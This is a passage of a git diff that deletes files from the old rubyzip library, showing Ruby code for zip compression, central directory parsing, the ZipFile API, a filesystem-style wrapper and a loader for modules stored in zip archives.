- - protected - - def finish - @compressor.finish - end - - public - # Modeled after IO.<< - def << (data) - @compressor << data - end - end - - - class Compressor #:nodoc:all - def finish - end - end - - class PassThruCompressor < Compressor #:nodoc:all - def initialize(outputStream) - super() - @outputStream = outputStream - @crc = Zlib::crc32 - @size = 0 - end - - def << (data) - val = data.to_s - @crc = Zlib::crc32(val, @crc) - @size += val.size - @outputStream << val - end - - attr_reader :size, :crc - end - - class NullCompressor < Compressor #:nodoc:all - include Singleton - - def << (data) - raise IOError, "closed stream" - end - - attr_reader :size, :compressed_size - end - - class Deflater < Compressor #:nodoc:all - def initialize(outputStream, level = Zlib::DEFAULT_COMPRESSION) - super() - @outputStream = outputStream - @zlibDeflater = Zlib::Deflate.new(level, -Zlib::MAX_WBITS) - @size = 0 - @crc = Zlib::crc32 - end - - def << (data) - val = data.to_s - @crc = Zlib::crc32(val, @crc) - @size += val.size - @outputStream << @zlibDeflater.deflate(data) - end - - def finish - until @zlibDeflater.finished? - @outputStream << @zlibDeflater.finish - end - end - - attr_reader :size, :crc - end - - - class ZipEntrySet #:nodoc:all - include Enumerable - - def initialize(anEnumerable = []) - super() - @entrySet = {} - anEnumerable.each { |o| push(o) } - end - - def include?(entry) - @entrySet.include?(entry.to_s) - end - - def <<(entry) - @entrySet[entry.to_s] = entry - end - alias :push :<< - - def size - @entrySet.size - end - alias :length :size - - def delete(entry) - @entrySet.delete(entry.to_s) ? entry : nil - end - - def each(&aProc) - @entrySet.values.each(&aProc) - end - - def entries - @entrySet.values - end - - # deep clone - def dup - newZipEntrySet = ZipEntrySet.new(@entrySet.values.map { |e| e.dup }) - end - - def == (other) - return false unless other.kind_of?(ZipEntrySet) - return @entrySet == other.entrySet - end - - def parent(entry) - @entrySet[entry.parent_as_string] - end - - def glob(pattern, flags = File::FNM_PATHNAME|File::FNM_DOTMATCH) - entries.select { - |entry| - File.fnmatch(pattern, entry.name.chomp('/'), flags) - } - end - -#TODO attr_accessor :auto_create_directories - protected - attr_accessor :entrySet - end - - - class ZipCentralDirectory - include Enumerable - - END_OF_CENTRAL_DIRECTORY_SIGNATURE = 0x06054b50 - MAX_END_OF_CENTRAL_DIRECTORY_STRUCTURE_SIZE = 65536 + 18 - STATIC_EOCD_SIZE = 22 - - attr_reader :comment - - # Returns an Enumerable containing the entries. - def entries - @entrySet.entries - end - - def initialize(entries = ZipEntrySet.new, comment = "") #:nodoc: - super() - @entrySet = entries.kind_of?(ZipEntrySet) ? entries : ZipEntrySet.new(entries) - @comment = comment - end - - def write_to_stream(io) #:nodoc: - offset = io.tell - @entrySet.each { |entry| entry.write_c_dir_entry(io) } - write_e_o_c_d(io, offset) - end - - def write_e_o_c_d(io, offset) #:nodoc: - io << - [END_OF_CENTRAL_DIRECTORY_SIGNATURE, - 0 , # @numberOfThisDisk - 0 , # @numberOfDiskWithStartOfCDir - @entrySet? @entrySet.size : 0 , - @entrySet? @entrySet.size : 0 , - cdir_size , - offset , - @comment ? @comment.length : 0 ].pack('VvvvvVVv') - io << @comment - end - private :write_e_o_c_d - - def cdir_size #:nodoc: - # does not include eocd - @entrySet.inject(0) { |value, entry| entry.cdir_header_size + value } - end - private :cdir_size - - def read_e_o_c_d(io) #:nodoc: - buf = get_e_o_c_d(io) - @numberOfThisDisk = ZipEntry::read_zip_short(buf) - @numberOfDiskWithStartOfCDir = ZipEntry::read_zip_short(buf) - @totalNumberOfEntriesInCDirOnThisDisk = ZipEntry::read_zip_short(buf) - @size = ZipEntry::read_zip_short(buf) - @sizeInBytes = ZipEntry::read_zip_long(buf) - @cdirOffset = ZipEntry::read_zip_long(buf) - commentLength = ZipEntry::read_zip_short(buf) - @comment = buf.read(commentLength) - # remove trailing \n symbol - buf.chomp! - raise ZipError, "Zip consistency problem while reading eocd structure" unless buf.size == 0 - end - - def read_central_directory_entries(io) #:nodoc: - begin - io.seek(@cdirOffset, IO::SEEK_SET) - rescue Errno::EINVAL - raise ZipError, "Zip consistency problem while reading central directory entry" - end - @entrySet = ZipEntrySet.new - @size.times { - @entrySet << ZipEntry.read_c_dir_entry(io) - } - end - - def read_from_stream(io) #:nodoc: - read_e_o_c_d(io) - read_central_directory_entries(io) - end - - def get_e_o_c_d(io) #:nodoc: - begin - io.seek(-MAX_END_OF_CENTRAL_DIRECTORY_STRUCTURE_SIZE, IO::SEEK_END) - rescue Errno::EINVAL - io.seek(0, IO::SEEK_SET) - rescue Errno::EFBIG # FreeBSD 4.9 raise Errno::EFBIG instead of Errno::EINVAL - io.seek(0, IO::SEEK_SET) - end - - # 'buf = io.read' substituted with lump of code to work around FreeBSD 4.5 issue - retried = false - buf = nil - begin - buf = io.read - rescue Errno::EFBIG # FreeBSD 4.5 may raise Errno::EFBIG - raise if (retried) - retried = true - - io.seek(0, IO::SEEK_SET) - retry - end - - sigIndex = buf.rindex([END_OF_CENTRAL_DIRECTORY_SIGNATURE].pack('V')) - raise ZipError, "Zip end of central directory signature not found" unless sigIndex - buf=buf.slice!((sigIndex+4)...(buf.size)) - def buf.read(count) - slice!(0, count) - end - return buf - end - - # For iterating over the entries. - def each(&proc) - @entrySet.each(&proc) - end - - # Returns the number of entries in the central directory (and - # consequently in the zip archive). - def size - @entrySet.size - end - - def ZipCentralDirectory.read_from_stream(io) #:nodoc: - cdir = new - cdir.read_from_stream(io) - return cdir - rescue ZipError - return nil - end - - def == (other) #:nodoc: - return false unless other.kind_of?(ZipCentralDirectory) - @entrySet.entries.sort == other.entries.sort && comment == other.comment - end - end - - - class ZipError < StandardError ; end - - class ZipEntryExistsError < ZipError; end - class ZipDestinationFileExistsError < ZipError; end - class ZipCompressionMethodError < ZipError; end - class ZipEntryNameError < ZipError; end - class ZipInternalError < ZipError; end - - # ZipFile is modeled after java.util.zip.ZipFile from the Java SDK. - # The most important methods are those inherited from - # ZipCentralDirectory for accessing information about the entries in - # the archive and methods such as get_input_stream and - # get_output_stream for reading from and writing entries to the - # archive. The class includes a few convenience methods such as - # #extract for extracting entries to the filesystem, and #remove, - # #replace, #rename and #mkdir for making simple modifications to - # the archive. - # - # Modifications to a zip archive are not committed until #commit or - # #close is called. The method #open accepts a block following - # the pattern from File.open offering a simple way to - # automatically close the archive when the block returns. - # - # The following example opens zip archive my.zip - # (creating it if it doesn't exist) and adds an entry - # first.txt and a directory entry a_dir - # to it. - # - # require 'zip/zip' - # - # Zip::ZipFile.open("my.zip", Zip::ZipFile::CREATE) { - # |zipfile| - # zipfile.get_output_stream("first.txt") { |f| f.puts "Hello from ZipFile" } - # zipfile.mkdir("a_dir") - # } - # - # The next example reopens my.zip writes the contents of - # first.txt to standard out and deletes the entry from - # the archive. - # - # require 'zip/zip' - # - # Zip::ZipFile.open("my.zip", Zip::ZipFile::CREATE) { - # |zipfile| - # puts zipfile.read("first.txt") - # zipfile.remove("first.txt") - # } - # - # ZipFileSystem offers an alternative API that emulates ruby's - # interface for accessing the filesystem, ie. the File and Dir classes. - - class ZipFile < ZipCentralDirectory - - CREATE = 1 - - attr_reader :name - - # default -> false - attr_accessor :restore_ownership - # default -> false - attr_accessor :restore_permissions - # default -> true - attr_accessor :restore_times - - # Opens a zip archive. Pass true as the second parameter to create - # a new archive if it doesn't exist already. - def initialize(fileName, create = nil) - super() - @name = fileName - @comment = "" - if (File.exists?(fileName)) - File.open(name, "rb") { |f| read_from_stream(f) } - elsif (create) - @entrySet = ZipEntrySet.new - else - raise ZipError, "File #{fileName} not found" - end - @create = create - @storedEntries = @entrySet.dup - - @restore_ownership = false - @restore_permissions = false - @restore_times = true - end - - # Same as #new. If a block is passed the ZipFile object is passed - # to the block and is automatically closed afterwards just as with - # ruby's builtin File.open method. - def ZipFile.open(fileName, create = nil) - zf = ZipFile.new(fileName, create) - if block_given? - begin - yield zf - ensure - zf.close - end - else - zf - end - end - - # Returns the zip files comment, if it has one - attr_accessor :comment - - # Iterates over the contents of the ZipFile. This is more efficient - # than using a ZipInputStream since this methods simply iterates - # through the entries in the central directory structure in the archive - # whereas ZipInputStream jumps through the entire archive accessing the - # local entry headers (which contain the same information as the - # central directory). - def ZipFile.foreach(aZipFileName, &block) - ZipFile.open(aZipFileName) { - |zipFile| - zipFile.each(&block) - } - end - - # Returns an input stream to the specified entry. If a block is passed - # the stream object is passed to the block and the stream is automatically - # closed afterwards just as with ruby's builtin File.open method. - def get_input_stream(entry, &aProc) - get_entry(entry).get_input_stream(&aProc) - end - - # Returns an output stream to the specified entry. If a block is passed - # the stream object is passed to the block and the stream is automatically - # closed afterwards just as with ruby's builtin File.open method. - def get_output_stream(entry, &aProc) - newEntry = entry.kind_of?(ZipEntry) ? entry : ZipEntry.new(@name, entry.to_s) - if newEntry.directory? - raise ArgumentError, - "cannot open stream to directory entry - '#{newEntry}'" - end - zipStreamableEntry = ZipStreamableStream.new(newEntry) - @entrySet << zipStreamableEntry - zipStreamableEntry.get_output_stream(&aProc) - end - - # Returns the name of the zip archive - def to_s - @name - end - - # Returns a string containing the contents of the specified entry - def read(entry) - get_input_stream(entry) { |is| is.read } - end - - # Convenience method for adding the contents of a file to the archive - def add(entry, srcPath, &continueOnExistsProc) - continueOnExistsProc ||= proc { false } - check_entry_exists(entry, continueOnExistsProc, "add") - newEntry = entry.kind_of?(ZipEntry) ? entry : ZipEntry.new(@name, entry.to_s) - newEntry.gather_fileinfo_from_srcpath(srcPath) - @entrySet << newEntry - end - - # Removes the specified entry. - def remove(entry) - @entrySet.delete(get_entry(entry)) - end - - # Renames the specified entry. - def rename(entry, newName, &continueOnExistsProc) - foundEntry = get_entry(entry) - check_entry_exists(newName, continueOnExistsProc, "rename") - @entrySet.delete(foundEntry) - foundEntry.name = newName - @entrySet << foundEntry - end - - # Replaces the specified entry with the contents of srcPath (from - # the file system). - def replace(entry, srcPath) - check_file(srcPath) - add(remove(entry), srcPath) - end - - # Extracts entry to file destPath. - def extract(entry, destPath, &onExistsProc) - onExistsProc ||= proc { false } - foundEntry = get_entry(entry) - foundEntry.extract(destPath, &onExistsProc) - end - - # Commits changes that has been made since the previous commit to - # the zip archive. - def commit - return if ! commit_required? - on_success_replace(name) { - |tmpFile| - ZipOutputStream.open(tmpFile) { - |zos| - - @entrySet.each { |e| e.write_to_zip_output_stream(zos) } - zos.comment = comment - } - true - } - initialize(name) - end - - # Closes the zip file committing any changes that has been made. - def close - commit - end - - # Returns true if any changes has been made to this archive since - # the previous commit - def commit_required? - return @entrySet != @storedEntries || @create == ZipFile::CREATE - end - - # Searches for entry with the specified name. Returns nil if - # no entry is found. See also get_entry - def find_entry(entry) - @entrySet.detect { - |e| - e.name.sub(/\/$/, "") == entry.to_s.sub(/\/$/, "") - } - end - - # Searches for an entry just as find_entry, but throws Errno::ENOENT - # if no entry is found. - def get_entry(entry) - selectedEntry = find_entry(entry) - unless selectedEntry - raise Errno::ENOENT, entry - end - selectedEntry.restore_ownership = @restore_ownership - selectedEntry.restore_permissions = @restore_permissions - selectedEntry.restore_times = @restore_times - - return selectedEntry - end - - # Creates a directory - def mkdir(entryName, permissionInt = 0755) - if find_entry(entryName) - raise Errno::EEXIST, "File exists - #{entryName}" - end - @entrySet << ZipStreamableDirectory.new(@name, entryName.to_s.ensure_end("/"), nil, permissionInt) - end - - private - - def is_directory(newEntry, srcPath) - srcPathIsDirectory = File.directory?(srcPath) - if newEntry.is_directory && ! srcPathIsDirectory - raise ArgumentError, - "entry name '#{newEntry}' indicates directory entry, but "+ - "'#{srcPath}' is not a directory" - elsif ! newEntry.is_directory && srcPathIsDirectory - newEntry.name += "/" - end - return newEntry.is_directory && srcPathIsDirectory - end - - def check_entry_exists(entryName, continueOnExistsProc, procedureName) - continueOnExistsProc ||= proc { false } - if @entrySet.detect { |e| e.name == entryName } - if continueOnExistsProc.call - remove get_entry(entryName) - else - raise ZipEntryExistsError, - procedureName+" failed. Entry #{entryName} already exists" - end - end - end - - def check_file(path) - unless File.readable? path - raise Errno::ENOENT, path - end - end - - def on_success_replace(aFilename) - tmpfile = get_tempfile - tmpFilename = tmpfile.path - tmpfile.close - if yield tmpFilename - File.rename(tmpFilename, name) - end - end - - def get_tempfile - tempFile = Tempfile.new(File.basename(name), File.dirname(name)) - tempFile.binmode - tempFile - end - - end - - class ZipStreamableDirectory < ZipEntry - def initialize(zipfile, entry, srcPath = nil, permissionInt = nil) - super(zipfile, entry) - - @ftype = :directory - entry.get_extra_attributes_from_path(srcPath) if (srcPath) - @unix_perms = permissionInt if (permissionInt) - end - end - - class ZipStreamableStream < DelegateClass(ZipEntry) #nodoc:all - def initialize(entry) - super(entry) - @tempFile = Tempfile.new(File.basename(name), File.dirname(zipfile)) - @tempFile.binmode - end - - def get_output_stream - if block_given? - begin - yield(@tempFile) - ensure - @tempFile.close - end - else - @tempFile - end - end - - def get_input_stream - if ! @tempFile.closed? - raise StandardError, "cannot open entry for reading while its open for writing - #{name}" - end - @tempFile.open # reopens tempfile from top - @tempFile.binmode - if block_given? - begin - yield(@tempFile) - ensure - @tempFile.close - end - else - @tempFile - end - end - - def write_to_zip_output_stream(aZipOutputStream) - aZipOutputStream.put_next_entry(self) - get_input_stream { |is| IOExtras.copy_stream(aZipOutputStream, is) } - end - end - - class ZipExtraField < Hash - ID_MAP = {} - - # Meta class for extra fields - class Generic - def self.register_map - if self.const_defined?(:HEADER_ID) - ID_MAP[self.const_get(:HEADER_ID)] = self - end - end - - def self.name - self.to_s.split("::")[-1] - end - - # return field [size, content] or false - def initial_parse(binstr) - if ! binstr - # If nil, start with empty. - return false - elsif binstr[0,2] != self.class.const_get(:HEADER_ID) - $stderr.puts "Warning: weired extra feild header ID. skip parsing" - return false - end - [binstr[2,2].unpack("v")[0], binstr[4..-1]] - end - - def ==(other) - self.class != other.class and return false - each { |k, v| - v != other[k] and return false - } - true - end - - def to_local_bin - s = pack_for_local - self.class.const_get(:HEADER_ID) + [s.length].pack("v") + s - end - - def to_c_dir_bin - s = pack_for_c_dir - self.class.const_get(:HEADER_ID) + [s.length].pack("v") + s - end - end - - # Info-ZIP Additional timestamp field - class UniversalTime < Generic - HEADER_ID = "UT" - register_map - - def initialize(binstr = nil) - @ctime = nil - @mtime = nil - @atime = nil - @flag = nil - binstr and merge(binstr) - end - attr_accessor :atime, :ctime, :mtime, :flag - - def merge(binstr) - binstr == "" and return - size, content = initial_parse(binstr) - size or return - @flag, mtime, atime, ctime = content.unpack("CVVV") - mtime and @mtime ||= Time.at(mtime) - atime and @atime ||= Time.at(atime) - ctime and @ctime ||= Time.at(ctime) - end - - def ==(other) - @mtime == other.mtime && - @atime == other.atime && - @ctime == other.ctime - end - - def pack_for_local - s = [@flag].pack("C") - @flag & 1 != 0 and s << [@mtime.to_i].pack("V") - @flag & 2 != 0 and s << [@atime.to_i].pack("V") - @flag & 4 != 0 and s << [@ctime.to_i].pack("V") - s - end - - def pack_for_c_dir - s = [@flag].pack("C") - @flag & 1 == 1 and s << [@mtime.to_i].pack("V") - s - end - end - - # Info-ZIP Extra for UNIX uid/gid - class IUnix < Generic - HEADER_ID = "Ux" - register_map - - def initialize(binstr = nil) - @uid = 0 - @gid = 0 - binstr and merge(binstr) - end - attr_accessor :uid, :gid - - def merge(binstr) - binstr == "" and return - size, content = initial_parse(binstr) - # size: 0 for central direcotry. 4 for local header - return if(! size || size == 0) - uid, gid = content.unpack("vv") - @uid ||= uid - @gid ||= gid - end - - def ==(other) - @uid == other.uid && - @gid == other.gid - end - - def pack_for_local - [@uid, @gid].pack("vv") - end - - def pack_for_c_dir - "" - end - end - - ## start main of ZipExtraField < Hash - def initialize(binstr = nil) - binstr and merge(binstr) - end - - def merge(binstr) - binstr == "" and return - i = 0 - while i < binstr.length - id = binstr[i,2] - len = binstr[i+2,2].to_s.unpack("v")[0] - if id && ID_MAP.member?(id) - field_name = ID_MAP[id].name - if self.member?(field_name) - self[field_name].mergea(binstr[i, len+4]) - else - field_obj = ID_MAP[id].new(binstr[i, len+4]) - self[field_name] = field_obj - end - elsif id - unless self["Unknown"] - s = "" - class << s - alias_method :to_c_dir_bin, :to_s - alias_method :to_local_bin, :to_s - end - self["Unknown"] = s - end - if ! len || len+4 > binstr[i..-1].length - self["Unknown"] << binstr[i..-1] - break; - end - self["Unknown"] << binstr[i, len+4] - end - i += len+4 - end - end - - def create(name) - field_class = nil - ID_MAP.each { |id, klass| - if klass.name == name - field_class = klass - break - end - } - if ! field_class - raise ZipError, "Unknown extra field '#{name}'" - end - self[name] = field_class.new() - end - - def to_local_bin - s = "" - each { |k, v| - s << v.to_local_bin - } - s - end - alias :to_s :to_local_bin - - def to_c_dir_bin - s = "" - each { |k, v| - s << v.to_c_dir_bin - } - s - end - - def c_dir_length - to_c_dir_bin.length - end - def local_length - to_local_bin.length - end - alias :c_dir_size :c_dir_length - alias :local_size :local_length - alias :length :local_length - alias :size :local_length - end # end ZipExtraField - -end # Zip namespace module - - - -# Copyright (C) 2002, 2003 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/zipfilesystem.rb b/lib/zip/zipfilesystem.rb deleted file mode 100644 index 565ce2b3a0..0000000000 --- a/lib/zip/zipfilesystem.rb +++ /dev/null @@ -1,611 +0,0 @@ -# encoding: ASCII-8BIT -require 'zip/zip' - -module Zip - - # The ZipFileSystem API provides an API for accessing entries in - # a zip archive that is similar to ruby's builtin File and Dir - # classes. - # - # Requiring 'zip/zipfilesystem' includes this module in ZipFile - # making the methods in this module available on ZipFile objects. - # - # Using this API the following example creates a new zip file - # my.zip containing a normal entry with the name - # first.txt, a directory entry named mydir - # and finally another normal entry named second.txt - # - # require 'zip/zipfilesystem' - # - # Zip::ZipFile.open("my.zip", Zip::ZipFile::CREATE) { - # |zipfile| - # zipfile.file.open("first.txt", "w") { |f| f.puts "Hello world" } - # zipfile.dir.mkdir("mydir") - # zipfile.file.open("mydir/second.txt", "w") { |f| f.puts "Hello again" } - # } - # - # Reading is as easy as writing, as the following example shows. The - # example writes the contents of first.txt from zip archive - # my.zip to standard out. - # - # require 'zip/zipfilesystem' - # - # Zip::ZipFile.open("my.zip") { - # |zipfile| - # puts zipfile.file.read("first.txt") - # } - - module ZipFileSystem - - def initialize # :nodoc: - mappedZip = ZipFileNameMapper.new(self) - @zipFsDir = ZipFsDir.new(mappedZip) - @zipFsFile = ZipFsFile.new(mappedZip) - @zipFsDir.file = @zipFsFile - @zipFsFile.dir = @zipFsDir - end - - # Returns a ZipFsDir which is much like ruby's builtin Dir (class) - # object, except it works on the ZipFile on which this method is - # invoked - def dir - @zipFsDir - end - - # Returns a ZipFsFile which is much like ruby's builtin File (class) - # object, except it works on the ZipFile on which this method is - # invoked - def file - @zipFsFile - end - - # Instances of this class are normally accessed via the accessor - # ZipFile::file. An instance of ZipFsFile behaves like ruby's - # builtin File (class) object, except it works on ZipFile entries. - # - # The individual methods are not documented due to their - # similarity with the methods in File - class ZipFsFile - - attr_writer :dir -# protected :dir - - class ZipFsStat - def initialize(zipFsFile, entryName) - @zipFsFile = zipFsFile - @entryName = entryName - end - - def forward_invoke(msg) - @zipFsFile.send(msg, @entryName) - end - - def kind_of?(t) - super || t == ::File::Stat - end - - forward_message :forward_invoke, :file?, :directory?, :pipe?, :chardev? - forward_message :forward_invoke, :symlink?, :socket?, :blockdev? - forward_message :forward_invoke, :readable?, :readable_real? - forward_message :forward_invoke, :writable?, :writable_real? - forward_message :forward_invoke, :executable?, :executable_real? - forward_message :forward_invoke, :sticky?, :owned?, :grpowned? - forward_message :forward_invoke, :setuid?, :setgid? - forward_message :forward_invoke, :zero? - forward_message :forward_invoke, :size, :size? - forward_message :forward_invoke, :mtime, :atime, :ctime - - def blocks; nil; end - - def get_entry - @zipFsFile.__send__(:get_entry, @entryName) - end - private :get_entry - - def gid - e = get_entry - if e.extra.member? "IUnix" - e.extra["IUnix"].gid || 0 - else - 0 - end - end - - def uid - e = get_entry - if e.extra.member? "IUnix" - e.extra["IUnix"].uid || 0 - else - 0 - end - end - - def ino; 0; end - - def dev; 0; end - - def rdev; 0; end - - def rdev_major; 0; end - - def rdev_minor; 0; end - - def ftype - if file? - return "file" - elsif directory? - return "directory" - else - raise StandardError, "Unknown file type" - end - end - - def nlink; 1; end - - def blksize; nil; end - - def mode - e = get_entry - if e.fstype == 3 - e.externalFileAttributes >> 16 - else - 33206 # 33206 is equivalent to -rw-rw-rw- - end - end - end - - def initialize(mappedZip) - @mappedZip = mappedZip - end - - def get_entry(fileName) - if ! exists?(fileName) - raise Errno::ENOENT, "No such file or directory - #{fileName}" - end - @mappedZip.find_entry(fileName) - end - private :get_entry - - def unix_mode_cmp(fileName, mode) - begin - e = get_entry(fileName) - e.fstype == 3 && ((e.externalFileAttributes >> 16) & mode ) != 0 - rescue Errno::ENOENT - false - end - end - private :unix_mode_cmp - - def exists?(fileName) - expand_path(fileName) == "/" || @mappedZip.find_entry(fileName) != nil - end - alias :exist? :exists? - - # Permissions not implemented, so if the file exists it is accessible - alias owned? exists? - alias grpowned? exists? - - def readable?(fileName) - unix_mode_cmp(fileName, 0444) - end - alias readable_real? readable? - - def writable?(fileName) - unix_mode_cmp(fileName, 0222) - end - alias writable_real? writable? - - def executable?(fileName) - unix_mode_cmp(fileName, 0111) - end - alias executable_real? executable? - - def setuid?(fileName) - unix_mode_cmp(fileName, 04000) - end - - def setgid?(fileName) - unix_mode_cmp(fileName, 02000) - end - - def sticky?(fileName) - unix_mode_cmp(fileName, 01000) - end - - def umask(*args) - ::File.umask(*args) - end - - def truncate(fileName, len) - raise StandardError, "truncate not supported" - end - - def directory?(fileName) - entry = @mappedZip.find_entry(fileName) - expand_path(fileName) == "/" || (entry != nil && entry.directory?) - end - - def open(fileName, openMode = "r", &block) - openMode.gsub!("b", "") # ignore b option - case openMode - when "r" - @mappedZip.get_input_stream(fileName, &block) - when "w" - @mappedZip.get_output_stream(fileName, &block) - else - raise StandardError, "openmode '#{openMode} not supported" unless openMode == "r" - end - end - - def new(fileName, openMode = "r") - open(fileName, openMode) - end - - def size(fileName) - @mappedZip.get_entry(fileName).size - end - - # Returns nil for not found and nil for directories - def size?(fileName) - entry = @mappedZip.find_entry(fileName) - return (entry == nil || entry.directory?) ? nil : entry.size - end - - def chown(ownerInt, groupInt, *filenames) - filenames.each { |fileName| - e = get_entry(fileName) - unless e.extra.member?("IUnix") - e.extra.create("IUnix") - end - e.extra["IUnix"].uid = ownerInt - e.extra["IUnix"].gid = groupInt - } - filenames.size - end - - def chmod (modeInt, *filenames) - filenames.each { |fileName| - e = get_entry(fileName) - e.fstype = 3 # force convertion filesystem type to unix - e.externalFileAttributes = modeInt << 16 - } - filenames.size - end - - def zero?(fileName) - sz = size(fileName) - sz == nil || sz == 0 - rescue Errno::ENOENT - false - end - - def file?(fileName) - entry = @mappedZip.find_entry(fileName) - entry != nil && entry.file? - end - - def dirname(fileName) - ::File.dirname(fileName) - end - - def basename(fileName) - ::File.basename(fileName) - end - - def split(fileName) - ::File.split(fileName) - end - - def join(*fragments) - ::File.join(*fragments) - end - - def utime(modifiedTime, *fileNames) - fileNames.each { |fileName| - get_entry(fileName).time = modifiedTime - } - end - - def mtime(fileName) - @mappedZip.get_entry(fileName).mtime - end - - def atime(fileName) - e = get_entry(fileName) - if e.extra.member? "UniversalTime" - e.extra["UniversalTime"].atime - else - nil - end - end - - def ctime(fileName) - e = get_entry(fileName) - if e.extra.member? "UniversalTime" - e.extra["UniversalTime"].ctime - else - nil - end - end - - def pipe?(filename) - false - end - - def blockdev?(filename) - false - end - - def chardev?(filename) - false - end - - def symlink?(fileName) - false - end - - def socket?(fileName) - false - end - - def ftype(fileName) - @mappedZip.get_entry(fileName).directory? ? "directory" : "file" - end - - def readlink(fileName) - raise NotImplementedError, "The readlink() function is not implemented" - end - - def symlink(fileName, symlinkName) - raise NotImplementedError, "The symlink() function is not implemented" - end - - def link(fileName, symlinkName) - raise NotImplementedError, "The link() function is not implemented" - end - - def pipe - raise NotImplementedError, "The pipe() function is not implemented" - end - - def stat(fileName) - if ! exists?(fileName) - raise Errno::ENOENT, fileName - end - ZipFsStat.new(self, fileName) - end - - alias lstat stat - - def readlines(fileName) - open(fileName) { |is| is.readlines } - end - - def read(fileName) - @mappedZip.read(fileName) - end - - def popen(*args, &aProc) - File.popen(*args, &aProc) - end - - def foreach(fileName, aSep = $/, &aProc) - open(fileName) { |is| is.each_line(aSep, &aProc) } - end - - def delete(*args) - args.each { - |fileName| - if directory?(fileName) - raise Errno::EISDIR, "Is a directory - \"#{fileName}\"" - end - @mappedZip.remove(fileName) - } - end - - def rename(fileToRename, newName) - @mappedZip.rename(fileToRename, newName) { true } - end - - alias :unlink :delete - - def expand_path(aPath) - @mappedZip.expand_path(aPath) - end - end - - # Instances of this class are normally accessed via the accessor - # ZipFile::dir. An instance of ZipFsDir behaves like ruby's - # builtin Dir (class) object, except it works on ZipFile entries. - # - # The individual methods are not documented due to their - # similarity with the methods in Dir - class ZipFsDir - - def initialize(mappedZip) - @mappedZip = mappedZip - end - - attr_writer :file - - def new(aDirectoryName) - ZipFsDirIterator.new(entries(aDirectoryName)) - end - - def open(aDirectoryName) - dirIt = new(aDirectoryName) - if block_given? - begin - yield(dirIt) - return nil - ensure - dirIt.close - end - end - dirIt - end - - def pwd; @mappedZip.pwd; end - alias getwd pwd - - def chdir(aDirectoryName) - unless @file.stat(aDirectoryName).directory? - raise Errno::EINVAL, "Invalid argument - #{aDirectoryName}" - end - @mappedZip.pwd = @file.expand_path(aDirectoryName) - end - - def entries(aDirectoryName) - entries = [] - foreach(aDirectoryName) { |e| entries << e } - entries - end - - def foreach(aDirectoryName) - unless @file.stat(aDirectoryName).directory? - raise Errno::ENOTDIR, aDirectoryName - end - path = @file.expand_path(aDirectoryName).ensure_end("/") - - subDirEntriesRegex = Regexp.new("^#{path}([^/]+)$") - @mappedZip.each { - |fileName| - match = subDirEntriesRegex.match(fileName) - yield(match[1]) unless match == nil - } - end - - def delete(entryName) - unless @file.stat(entryName).directory? - raise Errno::EINVAL, "Invalid argument - #{entryName}" - end - @mappedZip.remove(entryName) - end - alias rmdir delete - alias unlink delete - - def mkdir(entryName, permissionInt = 0755) - @mappedZip.mkdir(entryName, permissionInt) - end - - def chroot(*args) - raise NotImplementedError, "The chroot() function is not implemented" - end - - end - - class ZipFsDirIterator # :nodoc:all - include Enumerable - - def initialize(arrayOfFileNames) - @fileNames = arrayOfFileNames - @index = 0 - end - - def close - @fileNames = nil - end - - def each(&aProc) - raise IOError, "closed directory" if @fileNames == nil - @fileNames.each(&aProc) - end - - def read - raise IOError, "closed directory" if @fileNames == nil - @fileNames[(@index+=1)-1] - end - - def rewind - raise IOError, "closed directory" if @fileNames == nil - @index = 0 - end - - def seek(anIntegerPosition) - raise IOError, "closed directory" if @fileNames == nil - @index = anIntegerPosition - end - - def tell - raise IOError, "closed directory" if @fileNames == nil - @index - end - end - - # All access to ZipFile from ZipFsFile and ZipFsDir goes through a - # ZipFileNameMapper, which has one responsibility: ensure - class ZipFileNameMapper # :nodoc:all - include Enumerable - - def initialize(zipFile) - @zipFile = zipFile - @pwd = "/" - end - - attr_accessor :pwd - - def find_entry(fileName) - @zipFile.find_entry(expand_to_entry(fileName)) - end - - def get_entry(fileName) - @zipFile.get_entry(expand_to_entry(fileName)) - end - - def get_input_stream(fileName, &aProc) - @zipFile.get_input_stream(expand_to_entry(fileName), &aProc) - end - - def get_output_stream(fileName, &aProc) - @zipFile.get_output_stream(expand_to_entry(fileName), &aProc) - end - - def read(fileName) - @zipFile.read(expand_to_entry(fileName)) - end - - def remove(fileName) - @zipFile.remove(expand_to_entry(fileName)) - end - - def rename(fileName, newName, &continueOnExistsProc) - @zipFile.rename(expand_to_entry(fileName), expand_to_entry(newName), - &continueOnExistsProc) - end - - def mkdir(fileName, permissionInt = 0755) - @zipFile.mkdir(expand_to_entry(fileName), permissionInt) - end - - # Turns entries into strings and adds leading / - # and removes trailing slash on directories - def each - @zipFile.each { - |e| - yield("/"+e.to_s.chomp("/")) - } - end - - def expand_path(aPath) - expanded = aPath.starts_with("/") ? aPath : @pwd.ensure_end("/") + aPath - expanded.gsub!(/\/\.(\/|$)/, "") - expanded.gsub!(/[^\/]+\/\.\.(\/|$)/, "") - expanded.empty? ? "/" : expanded - end - - private - - def expand_to_entry(aPath) - expand_path(aPath).lchop - end - end - end - - class ZipFile - include ZipFileSystem - end -end - -# Copyright (C) 2002, 2003 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/ziprequire.rb b/lib/zip/ziprequire.rb deleted file mode 100644 index a3b1261c20..0000000000 --- a/lib/zip/ziprequire.rb +++ /dev/null @@ -1,90 +0,0 @@ -# With ziprequire you can load ruby modules from a zip file. This means -# ruby's module include path can include zip-files. -# -# The following example creates a zip file with a single entry -# log/simplelog.rb that contains a single function -# simpleLog: -# -# require 'zip/zipfilesystem' -# -# Zip::ZipFile.open("my.zip", true) { -# |zf| -# zf.file.open("log/simplelog.rb", "w") { -# |f| -# f.puts "def simpleLog(v)" -# f.puts ' Kernel.puts "INFO: #{v}"' -# f.puts "end" -# } -# } -# -# To use the ruby module stored in the zip archive simply require -# zip/ziprequire and include the my.zip zip -# file in the module search path. The following command shows one -# way to do this: -# -# ruby -rzip/ziprequire -Imy.zip -e " require 'log/simplelog'; simpleLog 'Hello world' " - -#$: << 'data/rubycode.zip' << 'data/rubycode2.zip' - - -require 'zip/zip' - -class ZipList #:nodoc:all - def initialize(zipFileList) - @zipFileList = zipFileList - end - - def get_input_stream(entry, &aProc) - @zipFileList.each { - |zfName| - Zip::ZipFile.open(zfName) { - |zf| - begin - return zf.get_input_stream(entry, &aProc) - rescue Errno::ENOENT - end - } - } - raise 